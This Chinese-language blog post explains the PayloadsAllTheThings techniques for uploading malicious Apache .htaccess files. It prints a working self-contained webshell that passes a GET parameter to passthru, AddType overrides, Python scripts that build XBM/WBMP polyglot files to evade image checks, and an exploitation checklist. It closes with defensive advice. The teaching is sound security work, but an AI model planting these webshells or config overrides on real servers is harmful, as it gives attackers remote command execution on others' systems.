PayloadsAllTheThings 之 Apache .htaccess 上传利用指南:AddType 指令、自包含 WebShell 与 Polyglot 图片绕过

原创2026-09-30 19:12:18655 阅读
文章标签:网络安全应用安全渗透测试

PayloadsAllTheThings 之 Apache .htaccess 上传利用指南:AddType 指令、自包含 WebShell 与 Polyglot 图片绕过

本指南以 PayloadsAllTheThings 仓库中 Configuration Apache .htaccess/README.md 为主体,系统讲解通过上传恶意 .htaccess 文件覆盖 Apache 配置、从而把任意扩展名文件变成可执行 PHP 的完整攻击链。你将掌握三类实战手法:最基础的 AddType 指令映射、无需二次上传即可直接访问的自包含 .htaccess WebShell,以及针对服务端 exif_imagetype 图片校验的 XBM/WBMP Polyglot 绕过,并了解其生效边界与防御思路。

攻击原理:为什么 .htaccess 能成为“任意文件上传”的突破口

.htaccess 是 Apache HTTP Server 的目录级配置文件,管理员可以在其中放置指令来局部覆盖全局配置,其生效范围是该文件所在目录及其全部子目录。正因如此,攻击者一旦能把一个内容可控的 .htaccess 文件上传到受害服务器的 Web 根目录(或任意可被 Web 服务解析的目录),就等同于获得了对该目录 Apache 行为的部分改写权。

典型的上传场景是:目标站点允许用户上传文件(头像、附件、编辑器粘贴内容等),但未严格限制文件名与内容。攻击者上传的不是图片或文档,而是一个 .htaccess,其内容可以包含 AddType、<Files>、Allow from all 等指令,进而:

  • 把任意扩展名的文件声明为 PHP MIME 类型,使其被 PHP 引擎解析执行;
  • 解除 Apache 默认对点号开头文件(如 .htaccess 自身)的访问限制;
  • 与普通上传组合,形成“上传配置 → 上传载荷 → 触发执行”的完整 RCE 链。

原文档明确指出一个关键事实:.htaccess 中的配置只对同一目录及其子目录生效。这意味着攻击者上传的 .htaccess 与其 WebShell 载荷必须位于同一目录(或载荷位于 .htaccess 所在目录的子目录),否则指令不会作用于目标文件。理解这一点,是设计整条利用链的起点。

在 PayloadsAllTheThings 中,该技巧被归入 Upload Insecure Files/README.md 的 “Configuration Files” 方法论小节,与 IIS 的 web.config、uWSGI 的 uwsgi.ini、Python 的 __init__.py 并列,是“上传配置文件替代上传可执行脚本”这一思路在 Apache 侧的典型代表。

手法一:AddType 指令——把任意扩展名声明为 PHP

AddType 是 Apache 的核心指令之一,用于为指定扩展名关联 MIME 类型,语法为:

AddType mime-type extension [extension ...]

当服务端 PHP 以 Apache 模块(如 mod_php)方式运行、且配置允许通过 .htaccess 覆盖 AddType 时,上传一个内容如下的 .htaccess:

AddType application/x-httpd-php .rce

再上传任意一个以 .rce 结尾的文件,其中写入 PHP 代码。由于 Apache 已将该扩展名关联到 application/x-httpd-php MIME 类型,mod_php 会把该文件当作 PHP 脚本交给 PHP 解释器执行——这就是整套手法最精简的形态:

  1. 上传 .htaccess(内容为 AddType application/x-httpd-php .rce);
  2. 上传 shell.rce(内容为 <?php ... ?> 之类的 PHP 代码);
  3. 直接访问 shell.rce,触发代码执行。

原文档中的 application/x-httpd-php 是 PHP 在 Apache 模块模式下的标准 MIME 类型;AddType 语法中的 extension 支持一次声明多个扩展名,例如 AddType application/x-httpd-php .rce .pwn .php7,可扩大后续上传载荷的可用后缀面。从仓库 Upload Insecure Files/README.md 的 “Configuration Files” 章节可以看到同一指令的完整解释与基本语法,可作为理解本手法的官方佐证。

选用什么样的“假扩展名”取决于目标站点的过滤强度:站点可能只黑名单化 .php,那么 .rce、.pwn 这类不常见后缀通常能直接放行。而一旦 Apache 侧执行了上述映射,后缀是否常见已无关紧要。配合仓库 Extension PHP/extensions.lst 中列举的 .php3、.php4、.php5、.php7、.pht、.phar、.phpt、.pgif、.phtml、.phtm、.inc 等 PHP 相关扩展名清单,可以构建更系统的测试字典。

手法二:自包含 .htaccess——把 WebShell 直接写进配置文件

AddType 方案需要“配置 + 载荷”两个文件,而 htshell 项目(原文档注明作者为 Wireghoul)给出了一个更隐蔽的变体:让 .htaccess 文件本身既是配置又是 WebShell。其思路是:

  1. 先覆盖 Apache 默认对 ^\.ht 开头的文件(即 .htaccess 自身)的访问限制,否则直接访问 .htaccess 会返回 403;
  2. 再通过 AddType 让 .htaccess 这个文件名被当作 PHP 解析;
  3. 最后在 .htaccess 文件末尾直接追加 PHP 代码。

原文档给出了完整的配置骨架:

# Self contained .htaccess web shell - Part of the htshell project
# Written by Wireghoul - http://www.justanotherhacker.com

# Override default deny rule to make .htaccess file accessible over web
<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>

# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directives from the .htaccess file
AddType application/x-httpd-php .htaccess
###### SHELL ######
<?php echo "\n";passthru($_GET['c']." 2>&1"); ?>

两部分合并后上传为单个 .htaccess 文件,访问 http://target/path/.htaccess?c=id 即可执行命令。这里有两个值得注意的执行细节:

  • 解析顺序:Apache 会先解析 .htaccess 中的指令(<Files>、AddType 等),随后 PHP 引擎才把文件内容当作脚本执行。因此末尾追加的 <?php ... ?> 代码不会干扰 Apache 对指令的解析,而指令执行完成后文件又恰好被当作 PHP 处理——两者互不冲突,这正是“自包含”得以成立的关键。
  • 参数拼接:passthru($_GET['c']." 2>&1") 把标准错误重定向合并到标准输出,确保 ls、id 等命令的错误信息也能回显到页面中,便于在无回显环境中确认执行结果。

与手法一相比,自包含 .htaccess 只产生一个文件,更难以被常规“检测到了几个恶意上传文件”的防御逻辑发现,也省去了两次上传的时机配合问题。不过代价是 .htaccess 内容较长、特征明显,容易被基于内容的 WAF 或 AV 检出。

手法三:Polyglot .htaccess——同时是一张合法图片

很多上传点会用 getimagesize() 或 exif_imagetype() 校验“文件必须是图片”。此时前面两种手法会被直接拦截。绕过思路是构造一个 Polyglot:同一文件既是语法合法的 .htaccess,又能通过 exif_imagetype() 的图片类型检测。

exif_imagetype() 通过读取文件开头若干字节的魔术头来判定图片类型。原文档指出,其支持的图片类型中包括 XBM(X BitMap) 和 WBMP(Wireless Application Protocol Bitmap Format),而这两种格式恰好允许以 #(XBM 中用于注释)或 \x00(WBMP 中的头字段)开头的行——Apache 在解析 .htaccess 时则会忽略以 \x00 和 # 开头的行。两种解析器的“垃圾行容忍规则”重合,使得同一文件可以同时骗过图片检测和 Apache 解析。

生成合法的 .htaccess/XBM 图片

XBM 格式的文本结构以 #define 宏开头,而 # 恰好是 Apache 的注释符,因此可以直接用文本方式拼接。原文档给出的生成脚本:

width = 50
height = 50
payload = '# .htaccess file'

with open('.htaccess', 'w') as htaccess:
    htaccess.write('#define test_width %d\n' % (width, ))
    htaccess.write('#define test_height %d\n' % (height, ))
    htaccess.write(payload)

生成的 .htaccess 文件开头是 #define test_width 50、#define test_height 50 两行 XBM 声明,随后可以继续写入真正的 Apache 指令(例如 AddType application/x-httpd-php .rce)。对 exif_imagetype() 而言,它以 XBM 魔数通过检测;对 Apache 而言,前两行因 # 前缀被当作注释忽略,后续指令正常生效。

生成合法的 .htaccess/WBMP 图片

WBMP 是二进制格式,文件头由类型头(type header)和固定头(fixed header)构成,随后的宽度、高度字节是原始数值而非可读文本,因此需要按字节写入。原文档给出的生成脚本:

type_header = b'\x00'
fixed_header = b'\x00'
width = b'50'
height = b'50'
payload = b'# .htaccess file'

with open('.htaccess', 'wb') as htaccess:
    htaccess.write(type_header + fixed_header + width + height)
    htaccess.write(b'\n')
    htaccess.write(payload)

生成的 .htaccess 以 \x00\x00 开头(WBMP 的有效头),随后是宽高字节与换行,再拼接以 # 开头的 payload 行。exif_imagetype() 读取头部即可识别为 WBMP;Apache 解析器则跳过以 \x00 开头的二进制行(以及 payload 中以 # 开头的行),后续写入的指令仍可生效。

实战组合建议

Polyglot 的载荷行不应只写注释。完整利用链通常为:在 payload 位置写入 AddType application/x-httpd-php .rce 之类的指令,随后照常上传 shell.rce;或者直接采用手法二的自包含思路,在 payload 区域同时包含指令与 PHP 代码。由于 Apache 忽略 # 和 \x00 开头行的特性,这两类内容可以共存于同一 .htaccess 内。

利用前的检查清单:什么条件下这套手法才成立

  • PHP 运行模式:AddType 方案依赖 mod_php(Apache 模块模式)或等效的处理映射。若 PHP 以 FPM/FastCGI 方式运行、且未配置 .htaccess 可覆盖 AddType/SetHandler,则本手法不适用。
  • AllowOverride 配置:Apache 主配置中的 AllowOverride 必须允许覆盖相关指令类别(典型为 FileInfo,其包含 AddType),否则 .htaccess 中的指令会被忽略。
  • 上传位置可控:.htaccess 与载荷必须落在同一个可被 Web 解析的目录树内,且该目录允许执行 PHP。
  • 文件名校验:若上传点对文件名有严格白名单(如仅允许图片扩展名),则需先结合 Polyglot 手段绕过内容校验,并确认最终文件名仍是 .htaccess(必要时借助 %00 截断、大小写变换等扩展名技巧,可参考仓库 Extension PHP/extensions.lst 及 Upload Insecure Files/README.md 中的 “Upload Tricks” 章节)。

同一思想的其他配置载体:web.config 与 uwsgi.ini

“上传配置文件替代上传脚本”并非 Apache 独有。仓库中与 .htaccess 并列存放了其他配置载体,便于横向理解与对照测试:

  • IIS:web.config——仓库 Configuration IIS web.config/web.config 展示了通过上传 web.config 注册 handler,把 *.config 交给 asp.dll 处理并解除默认请求过滤,从而把 ASP 代码藏在配置文件中执行。
  • uWSGI:uwsgi.ini——仓库 Configuration uwsgi.ini/uwsgi.ini 展示了利用 uWSGI 配置中的 @(exec://...) 等魔术变量在解析配置时执行系统命令的手法。

在测试目标时,可根据服务端指纹(Server 头、报错页特征)先判断 Web 服务器类型,再选择对应的配置文件攻击面,避免在不匹配的环境上浪费时间。

防御建议

针对该手法的检测与防护,可从以下层面入手:

  • 上传白名单:仅允许明确的安全扩展名(如图片、文档),并对 Content-Type、魔术字节与文件内容做一致性校验;特别注意拦截任何名为 .htaccess、web.config、uwsgi.ini 的配置文件上传。
  • 禁止用户可控目录的配置覆盖:在 Apache 主配置中收紧 AllowOverride,关闭目录级 AddType/SetHandler 覆盖;对上传目录禁用 PHP 执行(php_admin_flag engine off 或 RemoveHandler)。
  • 内容检测:对上传文件内容扫描 AddType、<Files ~、passthru、$_GET 等特征串,留意 Polyglot 文件中混排的二进制头与配置指令。
  • 纵深防御:即使单个上传点被绕过,也应保证上传目录与 Web 根目录隔离、运行账户最小权限,降低配置文件覆盖造成的实际影响。

小结

.htaccess 上传利用的本质,是把“允许上传文件”的能力转化为“允许改写 Apache 目录配置”的能力,再借 AddType 与 <Files> 指令完成从配置覆盖到 PHP 执行的两步跳转。AddType 映射是最简形态,自包含 .htaccess 把配置与载荷合并为一个文件,XBM/WBMP Polyglot 则让配置同时骗过图片内容校验。三者可独立使用,也可按目标校验强度递进组合;测试时请严格在授权环境中进行,并结合本仓库 Upload Insecure Files/README.md 中更全面的上传方法论(扩展名技巧、MIME 欺骗、图片压缩与元数据注入等)设计完整利用与验证流程。

登录后查看全文
PayloadsAllTheThings